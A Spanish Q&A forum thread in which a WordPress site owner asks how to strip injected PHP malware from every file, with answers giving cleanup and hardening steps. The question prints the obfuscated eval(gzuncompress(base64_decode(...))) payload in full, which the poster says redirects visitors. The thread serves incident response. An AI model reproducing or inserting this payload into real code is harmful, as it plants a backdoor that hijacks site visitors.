3

Tengo un problema urgente. Mi pagina ha sido atacada de la siguiente manera:

Insertaron esta porcion de codigo en casi todos los archivos que componen wordpress:

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?><?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>

Lo que hace este codigo es redireccionar a otra ip que te redirecciona a otra y asi..

Mi pregunta es: Hay algun metodo en PHP que permita escribir en un archivo y en este caso, borrar el codigo... ya que manualmente estoy demorando demasiado y es en casi todos los archivos. Mi idea es crear un bucle que lea todos los archivos de una carpeta, y que borre este codigo, pero no se si sera posible.

O si tienen alguna solución que me pueda ayudar :/ gracias

11
  • 1
    Los ataques de este tipo son muy difíciles de limpiar, porque WP tiene muchos archivos en muchos sitios y al final no sabes, en cualquier parte te encuentras un archivo infectado que reproduce el problema. Mi recomendación es que recuperes la base de datos de WP, que la revises, porque a veces te inyectan código maligno en la base de datos. Y que hagas una instalación totalmente nueva de WP. Vuelca la Base de Datos en una nueva y cambia todo de todo, las credenciales de la BD, de cPanel (hosting) y verifica si puedes por dónde te invadieron, casi siempre es a través de plugin no actualizados.
    – A. Cedano
    Commented el 21 nov. 2018 a las 15:28
  • Muchas gracias :/ pero todas las entradas que tengo en el blog(que son muchas) tambien se almacenan en la BD? porque es lo que no quiero perder :c
    – userNNNN
    Commented el 21 nov. 2018 a las 15:34
  • ... bueno tampoco hace falta que vuelques toda la base de datos, solamente las tablas que te interesan, por ejemplo, la tabla que contiene los posts (previa revisión de su contenido) y otras pocas más. Si usabas estilos CSS que estaban en algún archivo, lo puedes recuperar y revisarlo para incorporarlo de nuevo al sitio, así como recuperar el contenido de la carpeta uploads por ejemplo, donde estarían las imágenes (revisando que no haya nada extraño en esa carpeta). Es algo trabajoso, pero nada mejor que empezar de cero en estos casos e ir incorporando el contenido previa revisión.
    – A. Cedano
    Commented el 21 nov. 2018 a las 15:34
  • Sí, Wordpress trabaja con tablas (MySQL) y guarda todo en tablas, también las entradas, las guarda en una tabla llamada prefijoRaro_posts o algo así. Si exploras la base de datos verás muchas tablas con un prefijo raro, luego un guión bajo, y luego los nombres como _posts, _options, _users, etc. En la tabla _posts está todo el contenido de tus entradas, pero como te digo, debes revisar el contenido de las entradas mismas, dependiendo del alcance del ataque pudieron haberte inyectado código en el contenido mismo de tus entradas.
    – A. Cedano
    Commented el 21 nov. 2018 a las 15:36
  • 1
    @A.Cedano Completamente de acuerdo que es complicado detectar la fecha de infección, por lo mismo, una buena política debe incluir realizar revisión de los respaldos cada x tiempo, no basta con tener copias de los archivos, hay que tomar los backups y montarlos en un ambiente aislado (ej. ambiente de testing), por último hacerlo 1 vez al mes, o cada x tiempo dependiendo de lo mucho que quiera mi sitio xD... muchos dirán es mucho trabajo, pero vale la pena invertir ese tiempo sobre todo si nuestras apps/sitios brindan un servicio crítico (más vale prevenir que lamentar)
    – varTob
    Commented el 21 nov. 2018 a las 16:57

3 respuestas 3

7

Esto no es una respuesta definitiva, pero al menos puede ayudarte a establecer una Política o Procedimiento para resolver un hackeo.

La dejo como Wiki de comunidad por si alguien quiere aportar algo más:

Cuando te inyectan código malicioso es decepcionante (en Wordpress lo es particularmente, porque trabaja con muchos archivos relacionados que se llaman el uno al otro). Eso implica que no te sirve de nada limpiar el archivo 3 en esa cadena de llamadas que hace Wordpress si en el archivo 2 o en el archivo 7 hay código malicioso que se propaga.

La decepción despierta en ti el espíritu de venganza y te hace preguntarte ¿quién y por dónde se han metido en mi sitio? Olvídalo, quizá nunca lo sepas y si lo sabes no podrás hacer nada, el hacker puede estar a miles de kilómetros de ti o puede ser tu vecino. Si logras saber por donde entraron te felicito, pero tampoco te sirve de nada. Generalmente hackean tu WP porque tienes plugin viejos, desactualizados o temas viejos desactualizados o porque tenías contraseñas fáciles como micuchicuchi72. O, PEOR TODAVÍA, puedes tener un troyano en tu propio equipo. Así que revisa tu equipo también, porque de tener un troyano estás totalmente expuesto, no solo tu Wordpress.

Norma sobre plugins y temas

Nunca más instales en WP ningún plugin que diga actualizado hace 1 año, o 6 meses o algo así. Decide tú un parámetro, pero desde que un plugin pasa de 6 meses sin actualizar puede ser peligroso. Y, en un futuro, cuando aprendas un poco más sobre PHP, deshazte lo más que puedas de los plugin, creando tu propio código.

Norma sobre contraseñas

Usa contraseñas fuertes, al estilo: fDvoC^p3Fyg?BrQ].M;Q7VnccURF+J;#Jg36e&Bjzg8JMPyVy+ No es broma. Hoy día hay programas potentes para descifrar contraseñas cuchicuchi


A. Pasos inmediatos para resolver el hackeo

  1. Cambia todas las contraseñas y nombres de usuario allí donde sea posible:

    • cuenta de cPanel (en el hosting)
    • en Wordpress (esto se hará en el paso 3)

    Usa en todo contraseñas larguísimas, parecidas a esta: )%mU+Lj}m]Pg6Kqsd}c.8J}XhMMhyLJf6,uUkUF@4B8jtfDyUN No estoy exagerando. Luego la guardas en un sitio seguro. Haz lo mismo para tus contraseñas de Wordprees y de la base de datos. Hoy día hay programas potentes para descifrar contraseñas como miqueridoperro1978.

  2. Haz una copia de seguridad en local de toda tu carpeta de Wordpress. Para ello, entra vía SFTP o vía SSH a tu sitio (hoy día hay buenos programas, gratuitos, que permiten acceder con seguridad a los archivos/carpetas de un sitio remoto). Hay otros más sofisticados (generalmente de pago), que permiten acceder incluso a las bases de datos del sitio.

  3. Cuando tengas todos tus archivos en local, bien seguros, borra toda la instalación de Wordpress, todas las carpetas e instala de nuevo un Wordpress totalmente nuevo. No seas tonto, usa otro nuevo nombre de usuario administrador y una nueva contraseña, larga, como explico más arriba.

  4. Llegó el momento de aprender a lidiar con la base de datos directamente. Wordpress guarda casi todo en tablas de la base de datos. Ahora vas a tener en tu sistema dos bases de datos: la base de datos vieja, del Wordpress que que hackearon y la base de datos nueva, del nuevo WP que instalaste.

    En la base de datos vieja estará casi todo lo que te interesa, sobre todo los posts. WP usa por lo general un sistema de nombrado de tablas que consiste en un prefijo aleatorio y luego siguen nombres como _posts, _options, _users, _excerpt, etc. En la tabla que contiene la palabra _posts están todas tus entradas de WP. Así que ningún pánico. Pero atento, dependiendo del alcance del hackeo, pueden haberte metido código con instrucciones tipo eval(this_code_is_evil) dentro del contenido de los posts. Conviene que vayas revisando uno por uno. Si son miles de posts entonces podrías quizá revisar en la base de datos por fecha de actualización, así verás si posts viejos fueron actualizados recientemente, entonces serían sospechosos.

    Bien, decía que tienes que aprender a lidiar con la base de datos directamente. Eso lo puedes hacer a través de la interfaz PHPMyAdmin (algo lenta por lo general para mi gusto pero que te va a ayudar mucho) o usar un programa de terceros que te conecte desde tu equipo a tu base de datos remota.

    ¿Por qué esto? Porque desde la base de datos conviene que vayas revisando los posts y los vayas pasando de la vieja tabla (la hackeada) a la nueva tabla, previa revisión.

    Ten en cuenta que los posts tienen un ID y esto es muy importante en Wordpress, entonces, pasa los posts a la nueva tabla con el ID que tenían en la vieja. Dado que el ID auto incremental, conviene que empieces revisando los posts del más viejo al más nuevo.

    Lo ideal es tener un backup de la base de datos que se genere periódicamente, así posiblemente tengas uno anterior al ataque y no tengas que reconstruir nada a partir de lo que ya está comprometido. Si esto no existe ahora mismo, piensa en la posibilidad de hacerlo desde ahora y, para esta ocasión, trabajar el doble y revisar registro a registro para asegurarte de no tener código dentro de la información en la base de datos que pueda estar aprovechando alguna vulnerabilidad y se ejecute en tu nueva instalación.

  5. Las imágenes, se encuentran en la carpeta Uploads. En el paso 2 se indicó que hicieras una copia de seguridad en local de todo tu WP. Allí estará también la carpeta que contiene las imágenes de tu sitio. Aunque son imágenes no te fíes, al menos pasa un antivirus a esa carpeta. Luego abre las sub-carpetas año por año y mes por mes y revisa que contenga sólo imágenes usando un preview, las que no se abran son sospechosas. Una vez revisadas las puedes incorporar a la carpeta Uploads de tu nuevo Wordpress. Si tu sitio es pequeño, mejor sube las imágenes de nuevo, editando cada post, así trabajarás más sobre seguro.

  6. Otro posible código PHP que hayas escrito tú mismo. Ese código estará en la carpeta adecuada de tu copia de seguridad (hecha en el paso 2). Supongamos que has escrito funciones propias, clases, hooks, etc. Lo puedes incorporar a tu sitio, pero antes debes revisarlo muy bien, línea por línea. El código más peligroso son los archivos PHP, porque se ejecutan sin restricción en el servidor. El hacker pudo haber puesto código del tipo eval(this_code_is_evil) en cualquier parte de cualquier archivo PHP, el cual cuando se ejecute, propagará la infección de nuevo en todo tu WP. Es importante documentarte sobre qué otros bloques de código suelen inyectarse (incluso, es necesario revisar cuando usan largas cadenas de caracteres unicode u operaciones sobre bits, todo tratando de ofuscar sus intenciones).

  7. Otro código utilitario como hojas de estilo CSS, Javascript, etc. También lo puedes incorporar en la nueva instalación, previa revisión de su contenido. El hacker pudo haber inyectado código malicioso también en esos archivos.


B. El peligro de la desesperación

No te desesperes. Acepta que quizá tu sitio estará off-line por uno o dos días (o por horas, el tiempo que tardes en hacer la nueva instalación y subir algún contenido previamente verificado) y que pasarán X días hasta que el contenido esté plenamente normal.

No recurras a soluciones fáciles, inmediatas, plugins anti-hackeo, etc. Un hackeo es algo muy complicado y no creo que haya mecanismos mágicos para resolverlo. Puedes pasar horas arreglando todo y con un mínimo descuido tienes un código invasor en cualquier parte que te empieza de nuevo a dañar todo de nuevo. Tienes que desmontar el motor y armarlo de nuevo pieza por pieza. Si una pieza está rota, hay que cambiarla.


C. Aprender de la experiencia

Nunca más dejes plugins desactualizados en tu WP. No pueden pasar semanas sin que entres en tu WP como administrador, pudiendo ver los plugin que hay que actualizar, etc. Con una contraseña difícil y plugin al día es difícil que hackeen tu sitio.

De todos modos, evita los plugin lo más que puedas. Con un poco de conocimiento de PHP los puedes sustituir casi todos, escribiendo tu propio código para las funciones que hacen los plugin... Ganas en seguridad y también en velocidad del sitio.

Ah, si tu hosting no es serio, cambia a uno aceptable: Bluehost, Go Daddy, Hostgator ... y otros cuantos más que ahora no recuerdo.


Esto es lo que se me ocurre por el momento. Si alguien ve que se me olvida algo importante que edite la respuesta y lo ponga, por eso la he marcado como Wiki de comunidad.

Si tienes más dudas pregunta en comentarios.

6
  • Muy buena respuesta. La revisare por si puedo aportar algo. Commented el 21 nov. 2018 a las 16:59
  • aunque son buenas recomendaciones, a veces no son necesarias las contaseñas del administrador ni las de base de datos para meter código intrusivo en los archivos, la mayoria de ese tipo de ataques los hacen usando backdoors de algunos bugs de seguridad de los frameworks.
    – Rene Limon
    Commented el 21 nov. 2018 a las 17:25
  • @ReneLimon no deberías subestimar la seguridad en las contraseñas. Uno de los pocos plugin que tengo instalados en mi Wordpress es All In One WP Security. Lo tengo configurado para que me mande un email cada vez que alguien intente entrar a mi sitio con una contraseña errónea. Hay temporadas en que recibo decenas y hasta centenas de mensajes uno tras otro desde IPs de varias partes del mundo. Supongo que son boots programados para tratar de encontrar tu contraseña, el nombre de usuario casi siempre lo ponen bien (no sé cómo lo averiguan). Si pones una contraseña fácil le facilitas las cosas
    – A. Cedano
    Commented el 22 nov. 2018 a las 3:49
  • Es importa que te asegures de cambiar la url de entrada a tu wordpress de /wp-admin a cualquier otra, de esta forma evitas ataques de fuerza bruta al login de la web. Además, asegurate de poner captchas en los formularios de entrada, aunque cambies la url de acceso y poner un plugin tipo bulletproof que te asegura el bloqueo de cualquier atacante por un tiempo que tu estipulas. Por otro lado, te recomiendo que al instalar la base de datos cambies el prefijo estandar de wp_ que se le pone a la base de datos por uno como miweb_ para evitar que los bots rastreadores saquen tu user admin. Commented el 18 mar. 2019 a las 17:07
  • @A.Cedano eso es porque, en la mayoria de los casos sniffean la base de datos y buscan prefijos estandar de wordpress. Es mas fácil entrar en la base de datos, que no tiene un limite de intentos de login en muchos servidores, que en el wordpress, que si lo tiene. De esta forma sacan el usuario, no la contraseña porque suele ir en md5 encriptada. Si te interesa, en Kali linux tienes una herramienta que hace esto mismo. Así suelo blindar yo mis wordpress, si no lo encuentro lo doy por bastante protegido, pero aun queda trabajo por hacer, como bien dices. Commented el 18 mar. 2019 a las 17:09
0

Puedes descargarte una copia de todo tu sitio, abrir la carpeta en algún editor de código como visual studio, y darle a buscar y reemplazar en todos los archivos, tardará muy poco, después solo debes volver a subir los archivos.

-2

Utiliza el programa sed de unix.

sed -i 's/tu\ cadena\ a \ eliminar/tu\ nuevo\ texto/g' *
4
  • No es una buena respuesta porque ofrece a quien pregunta, una falsa sensación de seguridad, creyendo que con eliminar esa cadena su sitio estará de nuevo en un estado seguro.
    – Alfabravo
    Commented el 21 nov. 2018 a las 17:05
  • Me parece que su pregunta fue sobre algún método de borrar esa cadena de texto de todos los archivos de su instalación que la contengan. Claro que eso no resuelve el problema de seguridad, pero soluciona lo de los archivos.
    – akko
    Commented el 21 nov. 2018 a las 17:48
  • El título de la pregunta es "Ataque en página de Wordpress".
    – Alfabravo
    Commented el 21 nov. 2018 a las 19:01
  • Bueno de hecho esto era lo que buscaba, al menos para poder eliminar el codigo malicioso y poder ingresar a la administracion de mi pagina, muchas gracias
    – userNNNN
    Commented el 22 nov. 2018 a las 13:32

Tu Respuesta

By clicking “Publica tu respuesta”, you agree to our terms of service and acknowledge you have read our privacy policy.

¿No es la respuesta que buscas? Examina otras preguntas con la etiqueta o formula tu propia pregunta.